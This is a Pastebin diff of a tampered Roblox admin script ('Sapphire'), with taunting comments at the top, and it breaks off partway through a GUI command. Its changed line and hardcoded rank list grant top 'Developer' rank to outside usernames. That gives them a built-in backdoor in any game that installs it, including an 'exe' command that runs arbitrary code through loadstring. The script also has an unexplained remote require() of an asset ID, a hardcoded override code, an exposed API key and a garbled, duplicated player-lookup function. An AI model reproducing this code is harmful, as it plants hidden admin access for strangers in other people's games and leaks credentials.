View difference between Paste ID: R2WXrKeL and Hhfi3bjr
SHOW: | | - or go back to the newest paste.
1
local module = {}
2
3
4
--Well well well, Look who it is LMAOO.
5
--You have done fucked up oii. Done done fucked up
6
--Never Mess with Plexolo and ranked moderators.
7
--Here you go kiddos
8
Services = setmetatable({},{__index=function(s,n) 
9
	if n == "ChatService" then
10
		return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
11
	else
12
		return game:service(n)
13
	end
14
end})
15
local ArchChat = Services.ChatService:AddSpeaker("Sapphire")
16
17
if not Services.ChatService:GetChannel("All") then
18
	Services.ChatService:AddChannel("All")
19
	for i,v in next, game:service'Players':players() do
20
		if Services.ChatService:GetSpeaker(v.Name) then
21
			 Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
22
		end
23
	end
24
end
25
26
ArchChat:JoinChannel("All")
27
28
ArchChat:SetExtraData("NameColor", Color3.new(
29
		0.0/255.0,
30
		255/255.0,
31
		255/255.0))
32
ArchChat:SetExtraData("ChatColor", Color3.new(
33
		211.0/255.0,
34
 		211.0/255.0,
35
        211.0/255.0))
36
37
38
39
40
	ArchChat:SayMessage("Sapphire has loaded.","All")
41
	ArchChat:SayMessage("For rank 0, say cmds! to view commands.","All")
42
43
44
Services.ChatService:GetChannel("All").WelcomeMessage = "Sapphire Administration has been loaded on this place."
45
46
--[[ Sapphire by Lethox & KCROL ]]--
47
local UpdateFound = false;
48
local SaveLeave = false;
49
local FC = require(607033461)
50
local Waves = true
51
local tabDesign = "Neon"
52
local BackTab = true
53
local Override = "L0LM0MMYW3SH3R3"
54
local AgeLimit = 150
55
--// Variables
56
local Ranks = {
57
    {Rank = 0, Desc = "Guest"};
58
    {Rank = 1, Desc = "Player"};
59
    {Rank = 2, Desc = "Trusted"};
60
    {Rank = 3, Desc = "Moderator"};
61
    {Rank = 4, Desc = "Admin"};
62
    {Rank = 5, Desc = "Head Admin"};
63
    {Rank = 6, Desc = "Co-Owner"};
64
    {Rank = 7, Desc =  "Developer"};
65
};
66
local Ranked = {
67-
    {['Name'] = 'YT_YTO', ['Rank'] = 7, ['Reason'] = 'Who knows? (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
67+
    {['Name'] = 'ASESINOPROHD', ['Rank'] = 7, ['Reason'] = 'Who knows? (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};
68
	{['Name'] = 'Reloxz', ['Rank'] = 7, ['Reason'] = 'Leaking Sapphire (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};  
69
	{['Name'] = 'LOLMOMMY7', ['Rank'] = 7, ['Reason'] = 'idk anymore (YT_YTO, LOLMOMMY7 was here)', ['Color'] = 'Bright yellow', ['Suffix'] = '/'};  
70
    };
71
    
72
local Tablets = {};
73
local Commands = {};
74
local Banned = {};
75
local bannedscripts = {""}
76
local Splitkey = '/'
77
--// Functions
78
79
function Convert(color)
80
return BrickColor.new(color).Color
81
end
82
83
function AgeLimitBan(plr)
84
	if plr.AccountAge < AgeLimit then
85
		plr:kick('[Sapphire]: Your account age is below 150 days. You can join in '..AgeLimit - plr.AccountAge..' days.')
86
	end
87
end
88
89
--Message--
90
91
function Message(msg, plr)
92
for i,v in pairs(game.Players:GetPlayers()) do
93
coroutine.wrap(function()
94
	-- Objects
95
96
local ScreenGui = Instance.new("ScreenGui")
97
local Frame = Instance.new("Frame")
98
local TextLabel = Instance.new("TextLabel")
99
local TextLabel_2 = Instance.new("TextLabel")
100
101
-- Properties
102
103
ScreenGui.Parent = v.PlayerGui
104
105
Frame.Parent = ScreenGui
106
Frame.BackgroundColor3 = Color3.new(0, 0, 0)
107
Frame.BackgroundTransparency = 0.5
108
Frame.Position = UDim2.new(0.5, -150, 0.5, -800)
109
Frame.Size = UDim2.new(0, 300, 0, 300)
110
Frame.Visible = true
111
112
TextLabel.Parent = Frame
113
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
114
TextLabel.BackgroundTransparency = 1
115
TextLabel.Position = UDim2.new(0.5, -150, 0, 0)
116
TextLabel.Size = UDim2.new(0, 300, 0, 50)
117
TextLabel.Font = Enum.Font.Highway
118
TextLabel.FontSize = Enum.FontSize.Size32
119
TextLabel.Text = "Sapphire MESSAGE"
120
TextLabel.TextColor3 = Color3.new(1, 1, 1)
121
TextLabel.TextSize = 32
122
123
TextLabel_2.Parent = Frame
124
TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1)
125
TextLabel_2.BackgroundTransparency = 1
126
TextLabel_2.Position = UDim2.new(0.5, -100, 0, 100)
127
TextLabel_2.Size = UDim2.new(0, 200, 0, 100)
128
TextLabel_2.Font = Enum.Font.SourceSansItalic
129
TextLabel_2.FontSize = Enum.FontSize.Size14
130
TextLabel_2.Text = tostring(msg)
131
TextLabel_2.TextColor3 = Color3.new(1, 1, 1)
132
TextLabel_2.TextScaled = true
133
TextLabel_2.TextSize = 14
134
TextLabel_2.TextWrapped = true
135
136
Frame:TweenPosition(UDim2.new(0.5,-150,0.5,-150), "Out", "Back", 3)
137
wait(6)
138
Frame:TweenPosition(UDim2.new(0.5,-1400,0.5,-150), "Out", 6, 3)
139
wait(5)
140
ScreenGui:remove()
141
        end)()
142
	end
143
end 
144
145
--CFrame--
146
147
local ang=0
148
game:GetService("RunService").Stepped:connect(function()
149
                ypcall(function()
150
                        for _,Player in pairs(game:service'Players':GetPlayers()) do
151
                                local PlayerTablets = {}
152
                                for i,v in pairs(Tablets) do
153
                                        if v.Tab1.Parent ~= nil and v.Tab2.Parent ~= nil and v.Player == Player then
154
                                                table.insert(PlayerTablets, v)
155
                                        end
156
                                end
157
                                for i = 1, #PlayerTablets do
158
                                        ypcall(function()
159
                                                local tab = PlayerTablets[i].Tab1
160
                                                local tab2 = PlayerTablets[i].Tab2
161
                                                local pos = nil
162
                                                ypcall(function()
163
                                                        pos = Player.Character.Torso.CFrame
164
                                                end)
165
                                                local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
166
                                                local y = math.sin(i + tick()*3.4)
167
                                                local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+1)
168
                                                local cPos = tab.Position
169
                                                local ePos = Vector3.new(x, y, z) + (pos.p or Vector3.new(0, -5, 0))
170
                                                local nPos = (ePos-cPos)*.25
171
                                          cPos = cPos + nPos
172
                                                local t = (tick() - tick()) % 360
173
                                                local change = 0.0025
174
                                                                                                ang=ang+change
175
tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(-8.25), 0, 0) * CFrame.Angles(math.rad(.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(ang), math.rad(ang), math.rad(ang))
176
tab2.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 5, 0))) * CFrame.Angles(math.rad(8.25), 0, 0) * CFrame.Angles(math.rad(-.55), 0, 0) * CFrame.Angles(0, math.rad((360 / #PlayerTablets) * i) + ang, 0) * CFrame.Angles(math.rad(0.00001), math.rad(0.00001), math.rad(0.00001))
177
178
                                        end)
179
                                end
180
                        end
181
                end)
182
end)
183
184
function Output(player,name,color,func)
185
        if name==nil then name='Error!' end
186
        if color==nil then color=tostring('Institutional white') end
187
        if player==nil then return false end
188
        local Tab = Instance.new('Part',workspace.Terrain)
189
        Tab.Anchored,Tab.Locked,Tab.CanCollide,Tab.BottomSurface,Tab.TopSurface=true,true,false,0,0
190
        Tab.Transparency = 0
191
        Tab.Size = Vector3.new(2,2,2)
192
        Tab.BrickColor = BrickColor.new(tostring(color))
193
        Tab.Position = player.Character.Head.Position
194
        local Tabb = Instance.new('Part',workspace.Terrain)
195
        Tabb.Anchored,Tabb.Locked,Tabb.CanCollide,Tabb.BottomSurface,Tabb.TopSurface=true,true,false,0,0
196
        Tabb.Transparency = 0
197
        Tabb.Size = Vector3.new(1.3,1.3,1.3)
198
        Tabb.BrickColor = BrickColor.new(tostring(color))
199
        Tabb.Position = player.Character.Head.Position
200
        
201
        local Gui=Instance.new("BillboardGui", Tab)
202
    Gui.Adornee=Tab;
203
    Gui.StudsOffset = Vector3.new(0, 1.3, 0)
204
    Gui.Size = UDim2.new(8, 0, 7.5,0)
205
206
    local Label=Instance.new("TextLabel", Gui)
207
    Label.Font = "SciFi"
208
    Label.TextColor3=Convert(tostring(color))
209
    Label.BackgroundTransparency=1
210
    Label.FontSize = "Size24"
211
    Label.Font = "SourceSansBold"
212
    Label.TextStrokeTransparency=1
213
    Label.Text = tostring(name)
214
    Label.TextStrokeColor3=Convert(tostring(color))
215
    Label.Size = UDim2.new(1, 0, 0.5, 0)
216
217
local CLICK=Instance.new("ClickDetector", Tab)
218
CLICK.MaxActivationDistance=math.huge
219
220
CLICK.MouseClick:connect(function(p)
221
if p.userId == player.userId or GetRank(p) > GetRank(player) then
222
if func == nil then
223
for i = 1, 5 do
224
Tab.Transparency=Tab.Transparency + .1 
225
Tab.Size=Tab.Size - Vector3.new(.01,.01,.01) 
226
wait()
227
end
228
Tab:Destroy()
229
Tabb:Destroy()
230
else
231
for i = 1, 5 do
232
Tab.Transparency=Tab.Transparency + .1 
233
Tab.Size=Tab.Size - Vector3.new(.010,.010,.010) 
234
wait()
235
end
236
Tab:Destroy()
237
Tabb:Destroy()
238
func = func
239
func()
240
end
241
end
242
CLICK.MouseHoverEnter:connect(function(p)
243
        if p.Name == player.Name or GetRank(p) > GetRank(player) then
244
                for i = 1, 1 do
245
                        Tab.Transparency = .7
246
                        Tab.Size = Tab.Size + Vector3.new(.1,.1,.1)
247
                end
248
        end
249
end)
250
CLICK.MouseHoverLeave:connect(function(p)
251
        if p.Name == player.Name or GetRank(p) > GetRank(player) then
252
                Tab.Transparency = .3
253
                Tab.Size = Vector3.new(2,2,2)
254
        end
255
end)
256
end)
257
258
if tabDesign == "Double" then
259
	Tab.Size = Vector3.new(2,2,2)
260
	Tabb.Size = Vector3.new(.7,.7,.7)
261
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
262
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
263
	Tabb.Transparency = 0
264
	Tab.Transparency = 0.3
265
elseif tabDesign == "Plain" then
266
	Tab.Size = Vector3.new(2,2,2)
267
    for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
268
    for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
269
	Tabb.Transparency = 1
270
	Tab.Transparency = 0
271
elseif tabDesign == "SelectionBox" then
272
	Tab.Size = Vector3.new(2,2,2)
273
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
274
	local sel = Instance.new('SelectionBox',Tab)
275
	sel.Color = Tab.BrickColor
276
	sel.LineThickness = 0.01
277
	sel.Adornee = Tab
278
	Tab.Transparency = 0.3
279
	Tabb.Transparency = 1
280
elseif tabDesign == "DoubledSel" then
281
	Tab.Size = Vector3.new(2,2,2)
282
	Tabb.Size = Vector3.new(.7,.7,.7)
283
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
284
	local sel = Instance.new('SelectionBox',Tab)
285
	sel.Color = Tab.BrickColor
286
	sel.LineThickness = 0.01
287
	sel.Adornee = Tab
288
	Tab.Transparency = 0.3
289
	Tabb.Transparency = 0
290
elseif tabDesign == "Orb" then
291
	Tab.Size = Vector3.new(2,2,2)
292
	Tabb.Transparency = 1
293
	Tab.Transparency = 0
294
	local m = Instance.new('SpecialMesh',Tab)
295
	m.MeshType = "Sphere"
296
	m.Scale = Vector3.new(1,1,1)
297
elseif tabDesign == "DoubleOrb" then
298
	Tab.Size = Vector3.new(2,2,2)
299
	Tabb.Size = Vector3.new(1.3,1.3,1.3)
300
	Tab.Transparency = 0.3
301
	local m = Instance.new('SpecialMesh',Tab)
302
	m.MeshType = "Sphere"
303
	m.Scale = Vector3.new(1,1,1)
304
	local m = Instance.new('SpecialMesh',Tabb)
305
	m.MeshType = "Sphere"
306
	m.Scale = Vector3.new(.6,.6,.6)
307
elseif tabDesign == "Flat" then
308
	Tab.Size = Vector3.new(3,4,0.2)
309
	Tab.Transparency = 0
310
	Tabb.Transparency = 1
311
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
312
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
313
elseif tabDesign == "DoubleFlat" then
314
	Tab.Size = Vector3.new(3,4,0.4)
315
	Tab.Transparency = .3
316
	Tabb.Transparency = 0
317
	Tabb.Size = Vector3.new(2,3,0.2)
318
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
319
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
320
elseif tabDesign == "Neon" then
321
	for i,v in pairs(Tab:children()) do if v:IsA("SelectionBox") then v:remove() end end
322
	for i,v in pairs(Tab:children()) do if v:IsA("SpecialMesh") then v:remove() end end
323
	Tab.Material = "Neon"
324
	Tab.Size = Vector3.new(2,2,2)
325
	Tab.Transparency=0
326
	Tabb.Size = Vector3.new(.7,.7,.7)
327
	Tabb.Transparency = 1
328
end
329
330
table.insert(Tablets, {Tab1 = Tab, Tab2 = Tabb, Player = player})
331
end
332
333
334
335
AddRank = function(Name, Rank, Reason, Color, Trans, SelBox, Suffix)
336
	if type(Name) == 'userdata' then Name = Name.Name end
337
	table.insert(Ranked, {['Name'] = Name, ['Rank'] = Rank, ['Reason'] = Reason, ['Color'] = Color, ['Transparency'] = Trans, ['SelBox'] = SelBox, ['Suffix'] = Suffix})
338
end
339
340
SetRank = function(player, rank)
341
	if type(player) == 'userdata' then player = player.Name end
342
	for _,plr in next,Ranked do
343
		if plr.Name == player then
344
			plr.Rank = rank
345
		end
346
	end
347
	
348
AddRank(player, rank, "A normal player", "Toothpaste", .3, false, '~')
349
end
350
351
function getRanked(player)
352
	Dismiss(player)
353
	Output(player, 'Getting ranked table, please wait...', 'Institutional white')
354
	wait(3)
355
	Dismiss(player)
356
	Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
357
	for _,plr in next,Ranked do
358
		Output(player, plr.Name, 'Institutional white', function()
359
			Dismiss(player)
360
			Output(player, 'Name: '..plr.Name, 'Institutional white')
361
			Output(player, 'Rank: '..GetRank(plr), 'Lime green')
362
			Output(player, 'Description: '..GetDesc(plr), 'Deep orange')
363
			Output(player, 'Suffix: '..GetSuffix(plr), 'Cyan')
364
			Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
365
		end)
366
	end
367
end
368
369
function GetRank(plr)
370
        if type(plr) == 'userdata' then
371
                plr=tostring(plr)
372
        elseif type(plr) == 'string' then
373
                plr=plr.Name
374
        else
375
                plr=plr
376
        end
377
        
378
        for _,data in pairs(Ranked) do
379
                if data['Name'] == plr then
380
                        local rnk = data['Rank']
381
                        return rnk --If plr is on the rank list their rank is here
382
                end
383
        end
384
        
385
        return 0 --Player's rank will be 0 if not on the list
386
end
387
388
function GetSuffix(plr)
389
        if type(plr) == 'userdata' then
390
                plr=tostring(plr)
391
        elseif type(plr) == 'string' then
392
                plr=plr.Name
393
        else
394
                plr=plr
395
        end
396
        
397
        for _,data in pairs(Ranked) do
398
                if data['Name'] == plr then
399
                        local suffix = data['Suffix']
400
                        return suffix --If plr is on the rank list their rank is here
401
                end
402
        end
403
        
404
        return '!' --Player's suffix is ! if not ranked.
405
end
406
407
function GetDesc(plr)
408
        if type(plr) == 'userdata' then
409
                plr=tostring(plr)
410
        elseif type(plr) == 'string' then
411
                plr=plr.Name
412
        else
413
                plr=plr
414
        end
415
        
416
        for _,data in pairs(Ranked) do
417
                if data['Name'] == plr then
418
                        local reason = data['Reason']
419
                        return reason
420
                end
421
        end
422
        
423
        return 'A normal player!'
424
end
425
426
function GetColor(plr)
427
        if type(plr) == 'userdata' then
428
                plr=tostring(plr)
429
        elseif type(plr) == 'string' then
430
                plr=plr.Name
431
        else
432
                plr=plr
433
        end
434
        
435
        for _,data in pairs(Ranked) do
436
                if data['Name'] == plr then
437
                        local clr = data['Color']
438
                        return clr --If plr is on the rank list their color here
439
                end
440
        end
441
        
442
        return 'Cyan' --Player's color is Cyan if not ranked.
443
end
444
445
function Dismiss(plr)
446
pcall(function()
447
for _,tablets in pairs(Tablets) do
448
if tablets.Player == plr then
449
local T = coroutine.create(function()
450
repeat
451
game:GetService("RunService").Heartbeat:wait(0.000000000000000000000001)
452
tablets.Tab1.Size=Vector3.new(tablets.Tab1.Size.X-0.1,tablets.Tab1.Size.Y-0.1,tablets.Tab1.Size.Z-0.1)
453
tablets.Tab2.Size=Vector3.new(tablets.Tab2.Size.X-0.1,tablets.Tab2.Size.Y-0.1,tablets.Tab2.Size.Z-0.1)
454
until tablets.Tab1.Size.X<0.3;
455
tablets.Tab1:Destroy()
456
tablets.Tab2:Destroy()
457
end)
458
coroutine.resume(T)
459
end
460
end
461
end)
462
end
463
464
Commands_E = function(player) 
465
Dismiss(player)
466
for i = 0, 7 do
467
Output(player, 'Rank '..i..'', GetColor(player), function()
468
GetCommands(player, i)
469
end)
470
end
471
Output(player, 'Your rank is '..GetRank(player)..'','Bright green')
472
end
473
474
475
GetCommands = function(player, rank) 
476
Dismiss(player)
477
for _, CMDS in pairs(Commands) do
478
if CMDS['Rank'] <= rank then
479
Output(player, CMDS['Name'], GetColor(player), function()
480
Dismiss(player)
481
Output(player, 'Description: '..CMDS['Desc'], 'Lime green')
482
Output(player, 'Usage (For you): '..CMDS['Say']..''..GetSuffix(player),'Bright red')
483
Output(player, 'Rank Needed: '..CMDS['Rank'], 'Cyan')
484
Output(player, 'Name: '..CMDS['Name'], 'Toothpaste')
485
Output(player, 'Back', 'Navy blue', function() GetCommands(player, rank) end)
486
Output(player, 'Dismiss', 'Really red', function() Dismiss(player) end)
487
if GetRank(player) < CMDS['Rank'] then
488
	Output(player, "You can't use this command!","Really red")
489
else
490
	Output(player, 'You can use this command!','Lime green')
491
end
492
end)
493
end
494
end
495
end
496
497
498
499
function getPlayers(plr)
500
	Dismiss(plr)
501
	Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
502
	for _,player in pairs(game.Players:GetPlayers()) do
503
		Output(plr, player.Name..' [RANK '..GetRank(player)..']', 'Institutional white',function()
504
			Dismiss(plr)
505
			Output(plr, 'Dismiss', 'Really red', function() Dismiss(plr) end)
506
			Output(plr, 'Name: '..player.Name..'','Institutional white')
507
			Output(plr, 'Rank: '..GetRank(player)..'', 'Lime green')
508
			Output(plr, 'Account Age: '..player.AccountAge..'', 'Cyan')
509
			Output(plr, 'Builders Club Type: '..player.MembershipType.Name..'', 'Deep orange')
510
			Output(plr, 'Description: '..GetDesc(player), 'Really black')
511
			Output(plr, 'Suffix: '..GetSuffix(player), 'Bright red')
512
			Output(plr, 'Color: '..GetColor(player), GetColor(player))
513
			Output(plr, 'Kick', 'Really red', function() Dismiss(plr) player:kick('[Sapphire]: You have been kicked from the game.') end)
514
			Output(plr, 'Ban', 'Really red', function() Dismiss(plr) player:kick('[Sapphire]: You have been banned from the server.') table.insert(Banned, player.Name) end)
515
		end)
516
	end
517
end
518
519
520
521
Chatted = function(speaker, message)
522
if message:sub(1, 2) == '/e' then
523
if #message > 3 then
524
message = message:sub(4)
525
end
526
elseif message:sub(1, 1) == '*' then
527
if #message > 2 then
528
message = message:sub(2)
529
end
530
elseif message:sub(1, 1) == '>' then
531
        if #message > 2 then
532
                message = message:sub(2)
533
        end
534
end
535
536
537
local command=message
538
for _, CMDS in pairs(Commands) do
539
if command:sub(1, #CMDS['Say']+#GetSuffix(speaker)) == CMDS['Say']..GetSuffix(speaker) then
540
if GetRank(speaker) >= CMDS['Rank'] then
541
local msg = command:sub(#CMDS["Say"]+#GetSuffix(speaker)+1)
542
a,b = ypcall(function()
543
                                        CMDS["Func"](speaker, msg)
544
        end)
545
        if not a then warn(b) Output(speaker, 'ERROR: '..b, 'Really red') end
546
        else
547
        Output(speaker, 'You need rank '..CMDS['Rank']..' to use this command!', 'Really red')
548
end
549
end 
550
end
551
end
552
553
554
555
556
function NewCommand(name, usage, rank, desc, func)
557
      table.insert(Commands, {['Name'] = name, ['Say'] = usage, ['Rank'] = rank, ['Desc'] = desc, ['Func'] = func})
558
end
559
560
function SBChat(title,msg)
561
	pcall(function()
562
		for i,v in pairs(game.Players:GetPlayers()) do
563
			local value = Instance.new('StringValue',v)
564
			value.Name = "SB_Chat"
565
			value.Value = tostring(title)..'/'..msg
566
			game.Debris:AddItem(value,.1)
567
		end
568
	end)
569
end
570
571
function SBChatAll(name, cht)
572
    for _,plr in pairs(game.Players:GetPlayers()) do
573
        SBChat(plr, name, cht)
574
    end
575
end
576
577
GetPlayers = function(plr, msg)
578
    local plrs = {}
579
    if msg:match("^!") then
580
        return FindPlayers(plr, msg:sub(2), true)
581
    elseif msg == "me" then
582
        table.insert(plrs, plr)
583
    elseif msg == "all" then FindPlayers = function(plr, msg)
584
    local plrs = {}
585
    if msg:match("^!") then
586
        return FindPlayers(plr, msg:sub(2), true)
587
    elseif msg == "me" then
588
        table.insert(plrs, plr)
589
    elseif msg == "all" then
590
        for _,v in pairs(game:service'Players':players()) do
591
            table.insert(plrs, v)
592
        end
593
    elseif msg == "others" then
594
        for _,v in pairs(game:service'Players':players()) do
595
            if v ~= plr then
596
                table.insert(plrs, v)
597
            end
598
        end
599
    else
600
        for _,v in pairs(game:service'Players':players()) do
601
            if v.Name:lower():sub(1,#msg) == msg:lower() then
602
                table.insert(plrs, v)
603
            end
604
        end
605
    end
606
    return plrs
607
end
608
        for _,v in pairs(game:service'Players':players()) do
609
            table.insert(plrs, v)
610
        end
611
    elseif msg == "others" then
612
        for _,v in pairs(game:service'Players':players()) do
613
            if v ~= plr then
614
                table.insert(plrs, v)
615
            end        end
616
    else        for _,v in pairs(game:service'Players':players()) do
617
618
            if v.Name:lower():sub(1,#msg) == msg:lower() then
619
                table.insert(plrs, v)
620
            end
621
        end
622
    end
623
    return plrs
624
end
625
626
function ConnectPlayer(plr)
627
    wait(1);
628
    for _,bans in pairs(Banned) do
629
        if plr.Name == bans then
630
            plr:kick("[Sapphire]: You are banned!")
631
        end
632
    end
633
end
634
635
for _,plr in pairs(game.Players:GetPlayers()) do
636
    ConnectPlayer(plr)
637
end
638
639
game.Players.PlayerAdded:connect(function(plr)
640
    ConnectPlayer(plr)
641
    Output(plr, 'Welcome to Sapphire, '..plr.Name..'!','Lime green')
642
     Output(plr, 'Your rank is: '..GetRank(plr),'Deep orange')
643
     Output(plr, 'Click to show commands','Bright green',function() Commands_E(plr) end)
644
     Output(plr, 'Dismiss','Really red',function() Dismiss(plr) end)
645
     Output(plr, 'Your dick is '..GetSuffix(plr), 'Cyan')
646
     
647
648
     plr.Chatted:connect(function(m)
649
           Chatted(plr, m)
650
   end)
651
652
     ArchChat:SayMessage(plr.Name.." has joined the game!","All")
653
654
    setChatColor(plr)
655
end)
656
657
game.Players.PlayerRemoving:connect(function(player)
658
	ArchChat:SayMessage(player.Name.." has left the game.","All")
659
end)
660
661
function Sbexe(cmd,plr)
662
    if not type(cmd)=='string'then return end
663
    if plr then
664
        if type(plr)=='userdata'then
665
           plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
666
        elseif type(plr)=='string'then
667
            plr = game:GetService('Players'):FindFirstChild(plr)
668
            plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
669
        end
670
    else
671
        for i,v in pairs(game:GetService('Players'):children())do
672
            v:FindFirstChild("SB_CommandRemote",true).Value = cmd
673
        end
674
    end
675
end
676
677
--// Moving on from functions 
678
679
NewCommand("ForceField", 'ff',3,'Give a player a forcefield',function(player,message)
680
for _,plr in next,GetPlayers(player,message) do
681
Instance.new('ForceField',plr.Character)
682
end
683
end)
684
685
NewCommand('Commands', 'cmds',0,'Show the commands',function(player,message)
686
Commands_E(player)
687
end)
688
689
NewCommand('Dismiss','dt',0,'Dismisses tablets',function(player,message)
690
Dismiss(player)
691
end)
692
693
NewCommand('SB Exe','sb',5,'Make a player run a SB Command/Script',function(player,message)
694
        local Split = message:find(Splitkey)
695
        local PreSplit = message:sub(1, Split - 1)
696
        local AfterSplit = message:sub(Split + 1)
697
        for _,plr in next,GetPlayers(player,PreSplit) do
698
                Sbexe(tostring(AfterSplit), plr)
699
        end
700
end)
701
702
NewCommand('Kick','kick',4,'Kick a player',function(player,message)
703
        local Split = message:find(Splitkey)
704
        local PreSplit = message:sub(1, Split - 1)
705
        local AfterSplit = message:sub(Split + 1)
706
        for _,plr in next,GetPlayers(player,PreSplit) do
707
                plr:kick('[Sapphire]: You have been kicked for '..tostring(AfterSplit))
708
        end
709
end)
710
711
NewCommand('Kill','kill',3,'Kill a player',function(player,message)
712
for _,plr in next,GetPlayers(player,message) do
713
plr.Character.Humanoid.Health = 0
714
end
715
end)
716
717
NewCommand('Rank','rank',7,'Set a players rank',function(player,message)
718
	local Split = message:find(Splitkey)
719
    local PreSplit = message:sub(1, Split - 1)
720
    local AfterSplit = message:sub(Split + 1)
721
    for _,plr in next,GetPlayers(player,PreSplit) do
722
	  SetRank(plr, tonumber(AfterSplit))
723
   end
724
end)
725
726
NewCommand('God','god',3,'God a player',function(player,message)
727
	for _,plr in next,GetPlayers(player,message) do
728
		plr.Character.Humanoid.MaxHealth = math.huge
729
	end
730
end)
731
732
NewCommand('UnGod','ungod',3,'Remove a players god mode',function(player,message)
733
	for _,plr in next,GetPlayers(player,message) do
734
		plr.Character.Humanoid.MaxHealth = 100
735
	end
736
end)
737
738
NewCommand("SBExe To All",'sball',6,'Run a SB script to everyone',function(player,message)
739
	Output(player, 'Made everyone do '..message,GetColor(player))
740
	for i,v in pairs(game.Players:GetPlayers()) do
741
		Sbexe(message, v)
742
	end
743
end)
744
745
NewCommand('Execute','exe',5,'Execute a script',function(player,message)
746
	local success,errored = loadstring(message)
747
	if success and not errored then
748
		success()
749
	else
750
		Output(player, 'Sapphire - Error: '..errored,'Really red')
751
	end
752
end)
753
754
NewCommand('UnFF','unff',3,'Remove someones forcefield',function(player,message)
755
	for _,plr in next,GetPlayers(player,message) do
756
		for i,v in pairs(plr.Character:children()) do
757
			if v:IsA("ForceField") or v.ClassName == "ForceField" then
758
				v:remove()
759
			end
760
		end
761
	end
762
end)
763
764
NewCommand('Ban','ban',5,'Ban a player',function(player,message)
765
        local Split = message:find(Splitkey)
766
        local PreSplit = message:sub(1, Split - 1)
767
        local AfterSplit = message:sub(Split + 1)
768
        for _,plr in next,GetPlayers(player,PreSplit) do
769
                plr:kick('[Sapphire]: You have been banned for '..tostring(AfterSplit))
770
                table.insert(Banned, plr.Name)
771
        end
772
end)
773
774
NewCommand('Message','msg',3,'Send a server message',function(player,message)
775
	Message(message)
776
end)
777
778
NewCommand("Set Bass","bass",4,"Set the bass of every sound on ROBLOX",function(player,message)
779
	Output(player, 'Set the bass to '..tonumber(message),GetColor(player))
780
	game:GetService("SoundService").AmbientReverb = tonumber(message)
781
end)
782
783
NewCommand('Music','play',4,'Play a music sound',function(player,message)
784
	Output(player, 'Now playing: '..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name..'','Institutional white')
785
	ArchChat:SayMessage("Now playing "..game:GetService("MarketplaceService"):GetProductInfo(tonumber(message:match("%d+$"))).Name, "All")
786
	local s = Instance.new('Sound',workspace) s.SoundId = 'rbxassetid://'..message s.Volume = 1 s.Pitch = 1 s.Looped = true s:play()
787
end)
788
789
NewCommand('Stop Music','stop',4,'Stop all running music',function(player,message)
790
	for i,v in pairs(workspace:children(), workspace.Terrain:children()) do
791
		if v:IsA("Sound") then
792
			v:remove()
793
			SBChat('Sapphire','Stopped all running music.')
794
		end
795
	end
796
end)
797
798
NewCommand('Respawn','rsp',3,'Respawn a player',function(player,message)
799
	for _,plr in next,GetPlayers(player,message) do
800
		plr:LoadCharacter()
801
	end
802
end)
803
804
NewCommand("Define", "def", 0, "Defines a word", function(player, message)
805
				local http=game:GetService('HttpService')
806
	local req=http:GetAsync("http://api.wordnik.com/v4/word.json/"..message.."/definitions?limit=1&includeRelated=false&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5",true)
807
	req=http:JSONDecode(req)
808
	local def={}
809
	for i in string.gmatch(req[1].text, "%w+%p*") do
810
    table.insert(def,i)
811
	end
812
	local defs=""
813
	for _,v in pairs(def) do
814
		defs=defs..v.." "
815
		if _%10==0 then defs=defs.."\n" end
816
	end
817
	Output(player,defs,GetColor(player))
818
end)
819
820
NewCommand('Rank Override','override',0,'Show a GUI. If you enter the code right, you get rank 6.',function(player,message)
821
	-- Objects
822
823
local Interface = Instance.new("ScreenGui")
824
local Body = Instance.new("Frame")
825
local head = Instance.new("TextLabel")
826
local CodeInput = Instance.new("TextBox")
827
local LoginButton = Instance.new("TextButton")
828
local CancelButton = Instance.new("TextButton")
829
local TextLabel = Instance.new("TextLabel")
830
831
-- Properties
832
833
Interface.Name = "Interface"
834
Interface.Parent = player.PlayerGui
835
836
Body.Name = "Body"
837
Body.Parent = Interface
838
Body.BackgroundColor3 = Color3.new(0, 0, 0)
839
Body.BackgroundTransparency = 0.5
840
Body.Position = UDim2.new(0.5, -150, 0.5, -150)
841
Body.Size = UDim2.new(0, 300, 0, 300)
842
843
head.Name = "head"
844
head.Parent = Body
845
head.BackgroundColor3 = Color3.new(1, 1, 1)
846
head.BackgroundTransparency = 1
847
